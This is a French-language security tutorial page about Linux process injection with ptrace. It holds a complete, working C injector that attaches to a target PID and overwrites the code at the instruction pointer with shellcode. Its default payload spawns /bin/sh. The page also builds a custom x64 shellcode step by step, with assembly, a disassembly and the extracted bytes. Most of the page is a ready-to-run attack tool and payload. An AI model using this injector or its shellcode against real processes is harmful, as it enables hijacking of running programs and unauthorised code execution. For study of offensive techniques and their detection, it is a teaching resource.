> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/pwn/shellcode/injection-de-processus.md).

# Injection de processus

Process Injection

L'objectif est d'injecter du code dans un processus pour le forcer à exécuter du code arbitraire potentiellement malveillant.&#x20;

Ici on va écrire un programme qui le fait sur Linux en injectant un shellcode dans la mémoire du processus.

## Programme d'injection

Sur Linux l'API de débogage est [ptrace](https://man7.org/linux/man-pages/man2/ptrace.2.html). gdb, strace et tous les autres outils l'utilise.

Le programme fait les actions suivantes:

1. s'attache au processus demandé
2. attend que son état change (interruption, appel système, signal...)
3. met le processus cible en pause&#x20;
4. modifie le code de la section <mark style="color:purple;">`.text`</mark> (pointée par <mark style="color:purple;">`rip`</mark>) le shellcode est injecté à cet endroit
5. rend le contrôle au processus cible

On commence par s'accrocher au processus ciblé et à l'attendre.

```c
ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1);
wait(NULL);
```

Quand le processus va faire un appel système notre programme va reprendre la main. On récupère alors ses registres.

```c
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
```

Son registre <mark style="color:purple;">`rip`</mark> pointe vers la prochaine instruction à exécuter quand il reprendra son exécution. On copie les octets du shellcode 8 par 8 à l'adresse de <mark style="color:purple;">`rip`</mark>.

```c
dest = (uint64_t *)(void *) regs.rip;
src = (uint64_t *) shellcode;

for (i = 0; i < num_words; i++) {
    // change .text section pointed to by rip
    ptrace(PTRACE_POKETEXT, pid, dest, *src);
    src++;
    dest++;
}      
```

Enfin, on lui remet ses registres et on se détache.

```c
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
```

Une fois détaché, le processus cible reprend son exécution et notre shellcode est exécuté !

```c
/* 
--- linux process injection ---
inject a shellcode inside a running process's memory and execute it 
the code is injected at the address pointed to by rip
ASLR/NX do not need to be disabled

$ gcc injection.c -o injection
$ sudo ./injection <pid>
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/ptrace.h>

#define GREEN "\033[0;32m"
#define RED "\033[0;31m"
#define RESET "\033[0m"

/*
* CHANGE ME
*/
unsigned char shellcode[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";

void error(const char* msg) {
    fprintf(stderr, RED "%s: " RESET, msg);
    perror("");
    exit(1);
}

void success() {
    printf(GREEN " \t[+] OK\n" RESET);
}

void ascii_art() {
    printf("   am about to end this process's whole career\n\n"
           "                  .88888888:.\n"
           "                88888888.88888.\n"
           "              .8888888888888888.\n"
           "              888888888888888888\n"
           "              88' _`88'_  `88888\n"
           "              88 88 88 88  88888\n"
           "              88_88_::_88_:88888\n"
           "              88:::,::,:::::8888\n"
           "              88`:::::::::'`8888\n"
           "             .88  `::::'    8:88.\n"
           "            8888            `8:888.\n"
           "          .8888'             `888888.\n"
           "         .8888:..  .::.  ...:'8888888:.\n"
           "        .8888.'     :'     `'::`88:88888\n"
           "       .8888        '         `.888:8888.\n"
           "      888:8         .           888:88888\n"
           "    .888:88        .:           888:88888:\n"
           "    8888888.       ::           88:888888\n"
           "    `.::.888.      ::          .88888888\n"
           "   .::::::.888.    ::         :::`8888'.:.\n"
           "  ::::::::::.888   '         .::::::::::::\n"
           "  ::::::::::::.8    '      .:8::::::::::::.\n"
           " .::::::::::::::.        .:888:::::::::::::\n"
           " :::::::::::::::88:.__..:88888:::::::::::'\n"
           "  `'.:::::::::::88888888888.88:::::::::'\n"
           "        `':::_:' -- '' -'-' `':_::::'`\n\n");
}


int main(int argc, char** argv) {
    ascii_art();
    pid_t pid;
    struct user_regs_struct regs;
    int i;
    uint64_t* dest;
    uint64_t* src;
    size_t size = sizeof(shellcode) - 1;
    size_t padding = (8 - (size % 8)) % 8; // Calculate necessary padding
    size_t new_size = size + padding;
    unsigned char* new_shellcode = (unsigned char*)malloc(new_size);

    if (new_shellcode == NULL) {
        error("Failed to allocate memory for new shellcode");
    }

    // copy original shellcode to new shellcode and add padding
    memcpy(new_shellcode, shellcode, size);
    memset(new_shellcode + size, 0, padding); // add null bytes

    size_t num_words = new_size / 8;
    uint64_t data;

    if (argc != 2) {
        fprintf(stderr, RED "Usage: %s <pid>\n" RESET, argv[0]);
        exit(1);
    }

    pid = (pid_t)atoi(argv[1]);
    if (pid == 0) {
        fprintf(stderr, RED "PID must be a numerical value: (%s)\n" RESET, argv[1]);
        exit(1);
    }

    printf("[INFO] Attaching to process %d\n", pid);
    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1) {
        error("[ERROR] PTRACE_ATTACH");
    }
    success();

    printf("[INFO] Waiting for process... \n");
    if (wait(NULL) == -1) {
        error("[ERROR] WAIT");
    }
    printf("[INFO] Process status has changed!\n");

    printf("[INFO] Getting process registers\n");
    if (ptrace(PTRACE_GETREGS, pid, NULL, &regs) == -1) {
        error("[ERROR] PTRACE_GETREGS");
    }
    success();

    // write 8 bytes at a time
    dest = (uint64_t *)(void *)regs.rip;
    src = (uint64_t *)new_shellcode;

    printf("[INFO] Injecting code at address %p\n", (void *)regs.rip);
    for (i = 0; i < num_words; i++) {
        // change .text section pointed to by rip
        if (ptrace(PTRACE_POKETEXT, pid, dest, *src) == -1) {
            error("[ERROR] PTRACE_POKETEXT");
        }
        // read back the data to make sure the shellcode was correctly copied
        data = ptrace(PTRACE_PEEKTEXT, pid, dest, NULL);
        if (data == -1 && errno != 0) {
            error("[ERROR] PTRACE_PEEKTEXT");
        }
        printf(GREEN "\tData written: 0x%02lx\n" RESET, data);
        src++;
        dest++;
    }
    success();

    printf("[INFO] Setting process registers\n");
    if (ptrace(PTRACE_SETREGS, pid, NULL, &regs) == -1) {
        error("[ERROR] PTRACE_SETREGS");
    }
    success();

    printf("[INFO] Detaching from process %d\n", pid);
    if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1) {
        error("[ERROR] PTRACE_DETACH");
    }
    success();

    printf("[INFO] Execution!\n");
    printf("\n--- If the shellcode triggered a segmentation fault on the target process, make sure the architecture is correct (x86,x64...) :) ---\n");

    // free the allocated memory for the new shellcode
    free(new_shellcode);

    return 0;
}
```

## Développement du shellcode

On va forcer le processus à écrire <mark style="color:purple;">`sansongg`</mark> dans le fichier <mark style="color:purple;">`/home/kali/file`</mark>.

Commençons par écrire un programme assembleur qui fait ce qu'on veut. Il va commencer comme ça:

```c
global _start
section .text
_start:
    [nos instructions assembleur]
```

On va ouvrir le fichier et écrire dedans avec les appels systèmes [open](https://man7.org/linux/man-pages/man2/open.2.html) et [write](https://man7.org/linux/man-pages/man2/write.2.html).

Les entrées correspondantes de la table des appels systèmes x64 sont:

<table><thead><tr><th width="126" align="center">syscall</th><th width="85" align="center">rax</th><th width="193" align="center">arg0 (rdi)</th><th align="center">arg1 (rsi)</th><th align="center">arg2 (rdx)</th></tr></thead><tbody><tr><td align="center">write</td><td align="center">1</td><td align="center">unsigned int fd</td><td align="center">const char *buf</td><td align="center">size_t count</td></tr><tr><td align="center">open</td><td align="center">2</td><td align="center">const char *filename</td><td align="center">int flags</td><td align="center">umode_t mode</td></tr></tbody></table>

Pour open il faut donc mettre 0x2 dans <mark style="color:purple;">`rax`</mark>, l'adresse de <mark style="color:purple;">`/home/kali/file`</mark> dans <mark style="color:purple;">`rdi`</mark>, les flags dans <mark style="color:purple;">`rsi`</mark> et le mode d'ouverture dans <mark style="color:purple;">`rdx`</mark>.&#x20;

Pour éviter les problèmes de layout de mémoire on va utiliser la pile pour stocker les chaînes de caractères plutôt que d'y accéder avec un offset par rapport à <mark style="color:purple;">`rip`</mark>. L'appel système open va lire la chaîne à l'adresse stockée dans <mark style="color:purple;">`rdi`</mark> et s'arrêter au premier octer nul (octet de fin de chaîne). On va commencer par placer cet octet nul sur la pile avant d'y mettre <mark style="color:purple;">`/home/kali/file`</mark>.

```c
global _start
section .text
_start:
    ; Open the file (syscall number 2)
    xor rsi, rsi                ; set rsi to 0 (null terminator)
    push rsi                    ; push it on the stack
```

La chaîne fait 15 caractères et en 64-bits on peux placer des blocs de 8 octets sur la pile. On va mettre d'abord <mark style="color:purple;">`ali/file`</mark> et ensuite <mark style="color:purple;">`/home//k`</mark>. Comme dans la mémoire les données sont en little endian on va placer en réalité <mark style="color:purple;">`elif/ila`</mark> et <mark style="color:purple;">`k//emoh`</mark>.

{% hint style="info" %}
Pour avoir 8 octets pour la 2e chaîne on écrit `/home//k` au lieu de `/home/k`. Si on avait mis un octet nul il aurait terminé la lecture de la chaîne. Ajouter un `/` n'empêche pas la commande de fonctionner.
{% endhint %}

```c
    mov rdi, 0x656c69662f696c61 ; "ali/file"
    push rdi
    mov rdi, 0x6b2f2f656d6f682f ; "/home//k"
    push rdi
```

Une fois sur la pile il faut récupérer son adresse. <mark style="color:purple;">`rsp`</mark> contient l'adresse du sommet de la pile donc de notre chaîne ! Il suffit de récupérer sa valeur et la mettre dans <mark style="color:purple;">`rdi`</mark>.

```c
    push rsp
    pop rdi
```

Maintenant il ne reste plus qu'à choisir les flags et le mode d'ouverture avant de faire l'appel système.

```c
    mov rax, 2                  ; syscall number for sys_open
    mov rsi, 0x241              ; flags: O_CREAT | O_WRONLY | O_TRUNC (0x241)
    mov rdx, 0o644              ; mode: rw-r--r-- (octal 644)
    syscall                     ; invoke syscall
```

open renvoie un descripteur de fichier. On le met dans <mark style="color:purple;">`rdi`</mark> pour l'appel à write et on refait la même chose pour la chaîne à écrire.

```c
    mov rdi, rax
```

Le code assembleur final est le suivant:

```c
global _start
section .text
_start:
    ; Open the file (syscall number 2)
    xor rsi, rsi                ; null terminator
    push rsi
    mov rdi, 0x656c69662f696c61 ; "ali/file"
    push rdi
    mov rdi, 0x6b2f2f656d6f682f ; "/home//k"
    push rdi
    push rsp
    pop rdi
    mov rax, 2                  ; syscall number for sys_open
    mov rsi, 0x241              ; flags: O_CREAT | O_WRONLY | O_TRUNC (0x241)
    mov rdx, 0o644              ; mode: rw-r--r-- (octal 644)
    syscall                     ; invoke syscall

    ; Save the file descriptor
    mov rdi, rax                ; store the file descriptor in rdi

    ; Write "sansongg" to the file (syscall number 1)
    mov rax, 1                  ; syscall number for sys_write
    xor rsi, rsi                ; null terminator
    push rsi
    mov rsi, 0x67676e6f736e6173 ; "sansongg"
    push rsi
    push rsp
    pop rsi
    mov rdx, 8                  ; length of message
    syscall                     ; invoke syscall

    ; Close the file (syscall number 3)
    mov rax, 3                  ; syscall number for sys_close
    syscall                     ; invoke syscall

    ; Exit (syscall number 60)
    mov rax, 60                 ; syscall number for sys_exit
    xor rdi, rdi                ; status 0
    syscall                     ; invoke syscall
```

Maintenant il ne reste plus qu'à le compiler.

```bash
$ nasm -f elf64 shellcode.asm -o shellcode.o
$ ld shellcode.o -o shellcode
```

Le binaire obtenu est un ELF 64-bits. Il ne reste plus qu'à récupérer les octets des instructions pour avoir notre shellcode ! Avec <mark style="color:purple;">`objdump`</mark> on peut les extraire.

```bash
$ objdump -d write_hello
0000000000401000 <_start>:
  401000:       48 31 f6                xor    %rsi,%rsi
  401003:       56                      push   %rsi
  401004:       48 bf 61 6c 69 2f 66    movabs $0x656c69662f696c61,%rdi
  40100b:       69 6c 65 
  40100e:       57                      push   %rdi
  40100f:       48 bf 2f 68 6f 6d 65    movabs $0x6b2f2f656d6f682f,%rdi
  401016:       2f 2f 6b 
  401019:       57                      push   %rdi
  40101a:       54                      push   %rsp
  40101b:       5f                      pop    %rdi
  40101c:       b8 02 00 00 00          mov    $0x2,%eax
  401021:       be 41 02 00 00          mov    $0x241,%esi
  401026:       ba a4 01 00 00          mov    $0x1a4,%edx
  40102b:       0f 05                   syscall
  40102d:       48 89 c7                mov    %rax,%rdi
  401030:       b8 01 00 00 00          mov    $0x1,%eax
  401035:       48 31 f6                xor    %rsi,%rsi
  401038:       56                      push   %rsi
  401039:       48 be 73 61 6e 73 6f    movabs $0x67676e6f736e6173,%rsi
  401040:       6e 67 67 
  401043:       56                      push   %rsi
  401044:       54                      push   %rsp
  401045:       5e                      pop    %rsi
  401046:       ba 08 00 00 00          mov    $0x8,%edx
  40104b:       0f 05                   syscall
  40104d:       b8 03 00 00 00          mov    $0x3,%eax
  401052:       0f 05                   syscall
  401054:       b8 3c 00 00 00          mov    $0x3c,%eax
  401059:       48 31 ff                xor    %rdi,%rdi
  40105c:       0f 05                   syscall
```

On peux modifier la variable <mark style="color:purple;">`shellcode`</mark> du code d'injection avec les octets obtenus.

```c
unsigned char shellcode[] = 
    "\x48\x31\xf6\x56\x48\xbf\x61\x6c"
    "\x69\x2f\x66\x69\x6c\x65\x57\x48"
    "\xbf\x2f\x68\x6f\x6d\x65\x2f\x2f"
    "\x6b\x57\x54\x5f\xb8\x02\x00\x00"
    "\x00\xbe\x41\x02\x00\x00\xba\xa4"
    "\x01\x00\x00\x0f\x05\x48\x89\xc7"
    "\xb8\x01\x00\x00\x00\x48\x31\xf6"
    "\x56\x48\xbe\x73\x61\x6e\x73\x6f"
    "\x6e\x67\x67\x56\x54\x5e\xba\x08"
    "\x00\x00\x00\x0f\x05\xb8\x03\x00"
    "\x00\x00\x0f\x05\xb8\x3c\x00\x00"
    "\x00\x48\x31\xff\x0f\x05";
```

## Exploitation

On compile notre programme d'injection.

```sh
$ gcc injection.c -o injection
```

Ensuite on exécute un programme cible et celui d'injection en même temps.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FTyBOv8QSL1SRq3H2WB9x%2Fprocess%20injection.png?alt=media&amp;token=fb8aeb63-5ee7-4cdd-9fcd-690ee3aea62c" alt=""><figcaption></figcaption></figure>

Et hop le tour est joué !

## Références

{% embed url="<https://0x00sec.org/t/linux-infecting-running-processes/1097>" %}
